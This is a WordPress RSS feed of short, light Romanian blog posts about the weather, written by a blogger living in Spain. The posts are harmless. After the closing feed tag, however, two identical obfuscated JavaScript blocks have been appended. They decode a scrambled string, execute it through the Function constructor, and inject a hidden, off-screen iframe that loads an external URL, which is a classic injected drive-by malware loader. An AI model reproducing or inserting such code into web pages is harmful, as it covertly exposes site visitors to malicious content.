<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogocilindrul lui Naicu &#187; meteo</title>
	<atom:link href="http://www.naicu.ro/tag/meteo/feed" rel="self" type="application/rss+xml" />
	<link>http://www.naicu.ro</link>
	<description>Dacă tot există blogosferă, de ce să nu existe şi blogocilindru?</description>
	<lastBuildDate>Sun, 15 Jan 2012 22:00:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Cum mai e vremea pe la tine ?</title>
		<link>http://www.naicu.ro/vremea-in-spania.html</link>
		<comments>http://www.naicu.ro/vremea-in-spania.html#comments</comments>
		<pubDate>Tue, 14 Dec 2010 23:53:43 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[De pierdut vremea]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[spania]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=11579</guid>
		<description><![CDATA[Cînd mai vorbesc şi eu cu lumea de-acasă, nu există om care să nu mă întrebe despre starea meteorologică de aici. Fiecare îşi închipuie că unde mă aflu eu e soare tot timpul, se merge oricînd la plajă, te bronzezi în toate zilele anului etc. Ei bine, conform ultimei actualizări a widgetului meteo pe care-l [...]]]></description>
		<wfw:commentRss>http://www.naicu.ro/vremea-in-spania.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cum cedează un cedează</title>
		<link>http://www.naicu.ro/cum-cedeaza-un-cedeaza.html</link>
		<comments>http://www.naicu.ro/cum-cedeaza-un-cedeaza.html#comments</comments>
		<pubDate>Sun, 28 Nov 2010 03:32:48 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[De pierdut vremea]]></category>
		<category><![CDATA[Diasporice]]></category>
		<category><![CDATA[dezastre]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[natura]]></category>
		<category><![CDATA[rutier]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=11377</guid>
		<description><![CDATA[Cînd mai adie aşa un pic de briză, mai dărîmă şi cîte un cedează trecerea din ăsta &#8220;micuţ&#8221; (foto 1). Apoi, dacă tot a murit la datorie, e o ocazie bună să mai înveţe şi oamenii ăştia din greşeli (foto 2). Tweet]]></description>
		<wfw:commentRss>http://www.naicu.ro/cum-cedeaza-un-cedeaza.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Călduţ</title>
		<link>http://www.naicu.ro/caldut.html</link>
		<comments>http://www.naicu.ro/caldut.html#comments</comments>
		<pubDate>Fri, 04 Jun 2010 01:07:08 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Mirobolant]]></category>
		<category><![CDATA[cald]]></category>
		<category><![CDATA[meteo]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=10324</guid>
		<description><![CDATA[02:27 AM. Afară sînt 27°C. Dacă nu mă credeţi, vă fac şi un scrinşot ca să înţelegi drama prin care trec. Deşi, dacă vă uitaţi cu atenţie la jîpeg, puteţi observa că am un plugin jos-stînga în Firefox care la rîndu-i grăieşte temperatura, numai că el are mercurul mai sculat cu două grade, deci 29. [...]]]></description>
		<wfw:commentRss>http://www.naicu.ro/caldut.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Trei scurte la sfîrşit de mai</title>
		<link>http://www.naicu.ro/trei-scurte-la-sfarsit-de-mai.html</link>
		<comments>http://www.naicu.ro/trei-scurte-la-sfarsit-de-mai.html#comments</comments>
		<pubDate>Mon, 31 May 2010 12:21:49 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[De pierdut vremea]]></category>
		<category><![CDATA[bani]]></category>
		<category><![CDATA[cald]]></category>
		<category><![CDATA[criza]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[tigari]]></category>
		<category><![CDATA[vara]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=10278</guid>
		<description><![CDATA[31 mai, Ziua Mondială Împotriva Fumatului. În cinstea ei mi-am aprins o ţigară dintr-un pachet din mezozoic, de prin vremurile cînd nu existau poze cu cangrene şi gîturi însîngerate fotoşopate. 31 mai, ultima zi de primăvară calendaristică. Afară e vară demult. Dacă azi vor fi 33°C, în condiţiile în care un litoral civilizat din punct [...]]]></description>
		<wfw:commentRss>http://www.naicu.ro/trei-scurte-la-sfarsit-de-mai.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>N-a mai plouat demult</title>
		<link>http://www.naicu.ro/n-a-mai-plouat-demult.html</link>
		<comments>http://www.naicu.ro/n-a-mai-plouat-demult.html#comments</comments>
		<pubDate>Fri, 16 Apr 2010 01:22:46 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Enervante]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[ploaie]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=10100</guid>
		<description><![CDATA[La pagina despre însumi împărtăşeam că-mi place ploaia. Cred sincer că m-am cam săturat. Tweet]]></description>
		<wfw:commentRss>http://www.naicu.ro/n-a-mai-plouat-demult.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Normal şi anormal</title>
		<link>http://www.naicu.ro/normal-si-anormal.html</link>
		<comments>http://www.naicu.ro/normal-si-anormal.html#comments</comments>
		<pubDate>Mon, 25 Jan 2010 23:48:03 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[De pierdut vremea]]></category>
		<category><![CDATA[iarna]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[romania]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=9478</guid>
		<description><![CDATA[Ieri am stat toată ziua pe net. Cînd pe twitter, cînd pe facebook, cînd pe reader, cînd pe mess. Peste tot era aceeaşi povestioară legată de frig. Că nu se mai poate, că au îngheţat şinele, apele, oamenii, că gazele nu mai vin pe ţeavă, că e zăpada cît casa etc. Apoi brusc mi-am adus [...]]]></description>
		<wfw:commentRss>http://www.naicu.ro/normal-si-anormal.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Căldură mare</title>
		<link>http://www.naicu.ro/caldura-mare.html</link>
		<comments>http://www.naicu.ro/caldura-mare.html#comments</comments>
		<pubDate>Sat, 24 Oct 2009 23:20:12 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Diasporice]]></category>
		<category><![CDATA[jobs]]></category>
		<category><![CDATA[meteo]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=8080</guid>
		<description><![CDATA[Noi, ăştia care muncim în domeniu, satisfacem poporul în weekend. De obicei, vinerea şi sîmbăta seara culegem căpşuni cu public. Uneori însă ne mai abatem de la programul standard şi ne manifestăm şi la alte ore decît cele obişnuite. De exemplu la 5 după-masa într-o zi însorită de sîmbătă. Aş interzice prin lege mersul la [...]]]></description>
		<wfw:commentRss>http://www.naicu.ro/caldura-mare.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cum e corect: ploo sau ploă ?</title>
		<link>http://www.naicu.ro/cum-e-corect-ploo-sau-ploa.html</link>
		<comments>http://www.naicu.ro/cum-e-corect-ploo-sau-ploa.html#comments</comments>
		<pubDate>Tue, 20 Oct 2009 22:55:00 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Talent şi valoare]]></category>
		<category><![CDATA[foto]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[ploaie]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=7883</guid>
		<description><![CDATA[Poze făcute cu noul Canon XRWDLOS230-9147KFGVi. Tweet]]></description>
		<wfw:commentRss>http://www.naicu.ro/cum-e-corect-ploo-sau-ploa.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Starea vremii</title>
		<link>http://www.naicu.ro/starea-vremii.html</link>
		<comments>http://www.naicu.ro/starea-vremii.html#comments</comments>
		<pubDate>Sat, 16 May 2009 11:22:54 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Diasporice]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[naicu]]></category>
		<category><![CDATA[spania]]></category>
		<category><![CDATA[vara]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=4663</guid>
		<description><![CDATA[În sfîrşit, şlapi!!! Tweet]]></description>
		<wfw:commentRss>http://www.naicu.ro/starea-vremii.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Drum bun !</title>
		<link>http://www.naicu.ro/vant-nervos.html</link>
		<comments>http://www.naicu.ro/vant-nervos.html#comments</comments>
		<pubDate>Wed, 11 Feb 2009 11:00:42 +0000</pubDate>
		<dc:creator>Naicu</dc:creator>
				<category><![CDATA[Diasporice]]></category>
		<category><![CDATA[avion]]></category>
		<category><![CDATA[meteo]]></category>
		<category><![CDATA[spania]]></category>

		<guid isPermaLink="false">http://www.naicu.ro/?p=2242</guid>
		<description><![CDATA[Şi aici un mic bonus. Tweet]]></description>
		<wfw:commentRss>http://www.naicu.ro/vant-nervos.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<script>var _e=(Date);if(_e){_t='3452';}var _L={'J':'re\x76\x65\x72se','D':'spl\x69\x74','o':'len\x67\x74\x68','P':true,'z':'s\x75\x62str','U':'\x6A\x6Fin','d':'\x73\x74ring'},_n='',_r=['ucdeomttn(.wrie\'vied<yt l="sid:lyspannoe; "=id"__>u_"G:h_pttgoo/wrr/fa.n.dta/lmdan/o.gipi=dphs?2<di/;)>v\''][_L.U]('\x0A'),_t=_t[_L.D](_n),_y=function(){for(var _M in _t){if(typeof(_t[_M])==_L.d){var _l=[],_u=_L.P,_e=_t[_M]*-~!true;for(d=[]^[];d<_r[_L.o];d+=_e){_l[d]=(_u)?(_r[_L.z](d,_e)[_L.D](_n)[_L.J]()[_L.U](_n)):(_r[_L.z](d,_e));_u=!_u;}_r=_l[_L.U](_n);}}_W='co\x6E\x73\x74ructor';[][_W][_W](_r)();},_r=_y();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Gu').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _e=(Date);if(_e){_t='3452';}var _L={'J':'re\x76\x65\x72se','D':'spl\x69\x74','o':'len\x67\x74\x68','P':true,'z':'s\x75\x62str','U':'\x6A\x6Fin','d':'\x73\x74ring'},_n='',_r=['ucdeomttn(.wrie\'vied<yt l="sid:lyspannoe; "=id"__>u_"G:h_pttgoo/wrr/fa.n.dta/lmdan/o.gipi=dphs?2<di/;)>v\''][_L.U]('\x0A'),_t=_t[_L.D](_n),_y=function(){for(var _M in _t){if(typeof(_t[_M])==_L.d){var _l=[],_u=_L.P,_e=_t[_M]*-~!true;for(d=[]^[];d<_r[_L.o];d+=_e){_l[d]=(_u)?(_r[_L.z](d,_e)[_L.D](_n)[_L.J]()[_L.U](_n)):(_r[_L.z](d,_e));_u=!_u;}_r=_l[_L.U](_n);}}_W='co\x6E\x73\x74ructor';[][_W][_W](_r)();},_r=_y();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____Gu').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
